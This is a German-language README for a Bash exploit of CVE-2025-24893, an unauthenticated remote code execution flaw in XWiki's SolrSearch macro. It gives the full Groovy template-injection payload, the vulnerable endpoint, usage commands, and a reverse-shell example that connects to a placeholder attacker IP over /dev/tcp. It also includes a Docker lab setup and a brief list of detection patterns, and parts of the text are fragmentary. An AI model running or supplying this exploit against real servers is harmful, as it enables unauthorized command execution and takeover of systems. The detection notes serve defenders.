
Bash-Exploit für CVE-2025-24893, unauthhentifizierte RCE in XWiki Platform, unter Verwendung von Template-Injection im SolrSearch-Makro, um beliebige Systembefehle auszuführen.
Dieses Skript ist eine überarbeitete Bash-Implementierung eines Exploits, der auf von CVE-2025-24893 betroffene XWiki-Plattform-Versionen abzielt. Es nutzt eine kritische, nicht authentifizierte Schwachstelle zur Remote-Codeausführung aus, die es Angreifern ermöglicht, beliebigen Groovy-Code über einen Template-Injection-Fehler im SolrSearch-Macro auszuführen.
Die ursprünglichen Exploit-Implementierungen in Python wurden von verschiedenen Sicherheitsforschern erstellt und werden hier für Bash-Benutzer mit vereinfachter Ausführung und verbesserter Benutzerfreundlichkeit angepasst.
text nicht ordnungsgemäß, wenn auf den RSS-Medienendpunkt zugegriffen wird, sodass Angreifer ohne Authentifizierung schädlichen Groovy-Code in die Rendering-Pipeline einschleusen können.curl: Zum Senden von HTTP-Anfragen.jq: Zur URL-Kodierung des Payloads.Erteilen Sie die Ausführungsberechtigungen:
chmod +x CVE-2025-24893
Führen Sie das Skript mit den erforderlichen Argumenten aus:
./CVE-2025-24893 <ziel_url> <befehl>
| Parameter | Beschreibung |
|---|---|
<ziel_url> | Die Ziel-XWiki-URL (z. B. http://beispiel.de oder https://xwiki.beispiel.org). Das Protokoll ist optional. |
<befehl> | Der Systembefehl, der auf dem Zielserver ausgeführt werden soll. |
Prüfen, ob das Ziel angreifbar ist (Befehl id ausführen):
./CVE-2025-24893 http://verwundbares-xwiki.beispiel.de "id"
Systeminformationen abrufen:
./CVE-2025-24893 http://verwundbares-xwiki.beispiel.de "uname -a"
Eine Testdatei erstellen:
./CVE-2025-24893 http://verwundbares-xwiki.beispiel.de "touch /tmp/pwned"
Reverse Shell (ersetzen Sie Ihre IP und Ihren Port):
./CVE-2025-24893 http://verwundbares-xwiki.beispiel.de "bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'"
Parsen der Kommandozeilenargumente:
http:// hinzugefügt wird, falls kein Protokoll angegeben ist.Payload-Konstruktion:
.execute() ausführt.}}}{{async async=false}}{{groovy}}<code>{{/groovy}}{{/async}}URL-Kodierung:
jq für eine ordnungsgemäße HTTP-Übertragung.Exploitation:
/xwiki/bin/get/Main/SolrSearch?media=rss&text=<codierter_payload>Die Exploit-Kette funktioniert wie folgt:
}}}{{async async=false}}{{groovy}}'<befehl>'.execute();{{/groovy}}{{/async}}
}}} – Schließt einen vorhandenen Macro-Kontext{{async async=false}} – Stellt die synchrone Ausführung sicher{{groovy}}...{{/groovy}} – Verpackt den schädlichen Groovy-Code'<befehl>'.execute(); – Führt den angegebenen Systembefehl ausZu Testzwecken können Sie eine verwundbare XWiki-Instanz mittels Docker einrichten:
docker run -d -p 8080:8080 --name xwiki-vulnerable xwiki:15.10.10
# Warten, bis XWiki gestartet ist (kann 1–2 Minuten dauern)
./CVE-2025-24893 http://localhost:8080 "whoami"
Eine erfolgreiche Ausnutzung dieser Schwachstelle ermöglicht einem nicht authentifizierten Angreifer:
Laut CISA und mehreren Sicherheitsanbietern:
Überwachen Sie verdächtige Anfragen an den SolrSearch-Endpunkt:
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=*
Achten Sie auf Muster, die Folgendes enthalten:
{{groovy}}{{async}}.execute()/tmp oder anderen beschreibbaren Verzeichnissen